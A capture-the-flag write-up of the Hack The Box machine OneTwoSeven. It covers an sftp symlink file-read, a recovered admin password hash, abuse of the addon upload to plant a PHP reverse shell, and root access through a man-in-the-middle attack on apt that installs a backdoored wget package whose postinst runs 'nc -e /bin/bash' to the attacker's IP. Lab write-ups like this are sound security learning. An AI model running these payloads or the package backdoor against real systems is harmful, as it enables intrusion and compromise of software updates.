Summary:
OneTwoSeven is a creatively designed realistic box by Hack The Box user @jkr. The foothold for this Linux box craftily utilizes symbolic links and port forwarding through sftp to gain access to the admin interface. This ultimately leads to RCE and a shell after some addon-based web exploitation. For escalating to the root user, we take advantage of the available apt sudo commands while performing a man-in-the-middle package injection via http-proxy. I have seen a similar, if not the same attack (slide 26), executed as part of Red Team's arsenal at the National Collegiate Cyber Defense Competition.
Finding a Foothold
Initial Enumeration:
root@kali:~/htb/# nmap -sV -sC -oA nmap/OneTwoSeven 10.10.10.133
Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-08 22:04 AKDT
Nmap scan report for 10.10.10.133
Host is up (0.12s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
| 256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds
Nmap indicates that this box hosts an Apache web server on port 80. Navigating the site, we notice that the server also provides static web hosting and gives us temporary sftp credentials to manage a personal static site when we sign up. The Fully Qualified Domain Name (FQDN) is onetwoseven.htb and can be added to our hosts file.
We also notice a disabled admin portal that is only accessible on port 60080.
We can connect to the server over sftp to find a limited set of available commands. We can also upload files to our site and access them in the provided temporary directory. Unfortunately, php extensions (php, php5, php7, phtml, and various others) are all blacklisted from the web interface. This most likely indicates that a php reverse shell is not the intended path.
root@kali:~/htb/OneTwoSeven# sftp ots-jMDVlZDY@onetwoseven.htb
ots-jMDVlZDY@onetwoseven.htb's password:
Connected to ots-jMDVlZDY@onetwoseven.htb.
sftp>
bye cd chdir chgrp chmod chown df dir exit get help
lcd lchdir lls lmkdir ln lpwd ls lumask mkdir mget mput
progress put pwd quit reget rename reput rm rmdir symlink version
! ?
sftp> ls
public_html
sftp> cd public_html
sftp> ls
index.html
sftp> put test.php
Uploading test.php to /public_html/test.php
test.php 100% 0 0.0KB/s 00:00
sftp> put test.html
Uploading test.html to /public_html/test.html
test.html 100% 123 1.1KB/s 00:00
sftp>
Local File Inclusion
Looking back at the available sftp commands, we notice one possible lead with symbolic links (symlink). A symlink is a pseudo-file that contains a reference to another file or directory in the form of an absolute or relative path (very similar to shortcuts on a windows system, but the linked object appears to actually reside in the path it was linked).
LFI actually works with symlinks! Our LFI access is, however, limitted. We cannot poison some of the more interactive items like php sessions or apache's access.log (403 forbidden). Either they do not exist or we do not have permissions to view it. We can, however, view the /var/www/ directory and explore its contents:
We find a file called login.php.swp with a swp extension (the last saved state of a file when edited) in the html-admin directory:
We can download this file and recover the last saved state of login.php with vim, then save the file:
vim -r login.php.swp
:w login.php
:w!
Viewing the admin portal's login.php source file, we find the administrator username and the sha256 password hash on line 78:
We can either crack the password with hashcat or reverse-lookup the hash in an online hash lookup repository (assuming this password in rockyou).
Username: ots-admin
SHA-256 Hash: 11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8
Password: Homesweethome1
Accessing the Admin Console via Dynamic SSH Tunneling
Because the sftp server does not allow us to authenticate and establish a console over ssh (passwd file indicates that our user does not have a shell), we can still dynamically port forward over SSH in combination with Burp Suite:
We use the -N switch to force SSH to not execute a remote command. This switch is specifically useful for just forwarding ports. After setting the proxy in our web browser, we can access the admin portal as if were the remote server's localhost:
Using the credentials we found earlier for the admin portal, we can sign in and investigate the interface and the available modules:
Acquiring user.txt and a Reverse Shell
Default OTS User
This user's credentials are somewhat easy-to-miss when getting access to the admin portal:
Signing in as this user over sftp reveals user.txt:
root@kali:~/htb/OneTwoSeven# sftp ots-yODc2NGQ@onetwoseven.htb
ots-yODc2NGQ@onetwoseven.htb's password:
Connected to ots-yODc2NGQ@onetwoseven.htb.
sftp> ls
public_html user.txt
sftp> get user.txt
Fetching /user.txt to user.txt
/user.txt 100% 33 0.1KB/s 00:00
sftp> exit
root@kali:~/htb/OneTwoSeven# cat user.txt
93***************************6f4
Delivering the Reverse Shell Payload
Unfortunately the plugin upload feature is non-functional from the admin portal; however, we can reverse engineer a working payload if we dissect the source code of the OTS Add-on Manager:
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];
if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}
if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
}
break;
# Download addon from addons folder.
case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
if ($_GET['addon']) {
$addon_file = basename($_GET['addon']);
if ( file_exists($addon_file) ) {
header("Content-Disposition: attachment; filename=$addon_file");
header("Content-Type: text/plain");
readfile($addon_file);
} else {
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
die();
}
}
break;
default:
echo "The addon manager must not be executed directly but only via<br>";
echo "the provided RewriteRules:<br><hr>";
echo "RewriteEngine On<br>";
echo "RewriteRule ^addon-upload.php addons/ots-man-addon.php [L]<br>";
echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
echo "By commenting individual RewriteRules you can disable single<br>";
echo "features (i.e. for security reasons)<br><br>";
echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";
break;
}
?>
Also, even though the button is disabled and non-functioning (links to a non-existing page), if we inspect the html and enable the button, we can build a template from the non-functioning request in Burp Suite's repeater functionality:
Referencing back to the php source code of the plugin manager, instead of posting to /addon-upload.php, we need to post to /addon-download.php, then call addons/ots-man-addon.php, and also include addon-upload.php as part of the request path. The absolute path of the filename should be specified with the addons folder like so /var/www/html/html-admin/addons/rshell.php:
Our payload was uploaded successfully! If we visit the URL of the add-on we added, we should be able to trigger the reverse shell:
After we upgrade our shell to a fully interactive TTY shell and some trivial enumeration, we notice that we can run sudo with apt-get update and apt-get upgrade:
www-admin-data@onetwoseven:/home$ id
uid=35(www-admin-data) gid=35(www-admin-data) groups=35(www-admin-data)
www-admin-data@onetwoseven:/home$ find / -name "user.txt" 2>/dev/null
www-admin-data@onetwoseven:/home$ sudo -l
Matching Defaults entries for www-admin-data on onetwoseven:
env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-admin-data may run the following commands on onetwoseven:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade
www-admin-data@onetwoseven:/home$
Acquiring root.txt
Apt Man-in-the-Middle Package Injection
Escalating ourselves to a shell as root isn't too difficult if we follow somewhat verbatim the Backdooring a DEB Package section of this article. For our initial setup, we want to create a new proxy listener in Burp that redirects to a python web server that we host locally (Disable the SOCKS5 proxy before proceeding).
We should next set the http proxy for the environment and then determine which installed packages on the remote server that we want to hijack. Being at the bottom of the list, "wget" looks like a potential candidate.
www-admin-data@onetwoseven:/tmp$ export http_proxy='http://10.10.15.201:8000'
www-admin-data@onetwoseven:/tmp$ dpkg -l | grep wget
iF wget 1.18-5+deb9u3 amd64 retrieves files from the web
We can also use wget to verify that our proxy listener is working. One thing to also pay attention to is the repository name that the host is looking for in the apt sources:
Our proxy listener works and the specific repo that our apt sources refer to is called devuan. We can create a fake repo of the same name by running the following on our local machine:
root@kali:~/htb/OneTwoSeven/www# mkdir devuan
root@kali:~/htb/OneTwoSeven/www# mkdir devuan/conf
root@kali:~/htb/OneTwoSeven/www# touch devuan/conf/distributions
root@kali:~/htb/OneTwoSeven/www# vim devuan/conf/distributions
Distributions File Contents
File distributions:
Origin: packages.onetwoseven.htb
Label: packages.onetwoseven.htb
Codename: ascii
Architectures: i386 amd64 source
Components: main
Description: fake
Download, decompress, and modify the wget deb package:
root@kali:~/htb/OneTwoSeven/www# wget http://ftp.debian.org/debian/pool/main/w/wget/wget_1.18-5+deb9u3_amd64.deb
root@kali:~/htb/OneTwoSeven/www# dpkg-deb -R wget_1.18-5+deb9u3_amd64.deb wget_out
root@kali:~/htb/OneTwoSeven/www# vim wget_out/DEBIAN/postinst
Post Install Payload Script
nc -e /bin/bash 10.10.15.201 1337
Prepare a netcat listener on the localhost that will receive the shell and continue building the deb package:
root@kali:~/htb/OneTwoSeven/www# chmod 0555 wget_out/DEBIAN/postinst
root@kali:~/htb/OneTwoSeven/www# dpkg-deb -b wget_out wget_1.18-5+deb9u9_amd64.deb
root@kali:~/htb/OneTwoSeven/www# reprepro -b devuan/ includedeb ascii wget_1.18-5+deb9u9_amd64.deb
On the remote server, run the two commands with sudo and allow the package installation to continue without verification:
www-admin-data@onetwoseven:/tmp$ sudo apt-get update
www-admin-data@onetwoseven:/tmp$ sudo apt-get upgrade
root@onetwoseven:/# cat ~/root.txt
2d***************************048
We have pwned root!
I have personally found this box to be one of my favorite boxes because of how realistic this box was and because how I have witnessed this simple MITM attack abused from a Blue Team perspective. The most challenging aspect of this box was constructing the web exploit payload, which was mostly just trial and error on my part. I personally found OneTwoSeven easier than most boxes with a hard rating, and especially easier than medium boxes like Unattended. I look forward to jumping at more boxes like this one.
— Rayce Toms
Student Researcher
Comments
Post a Comment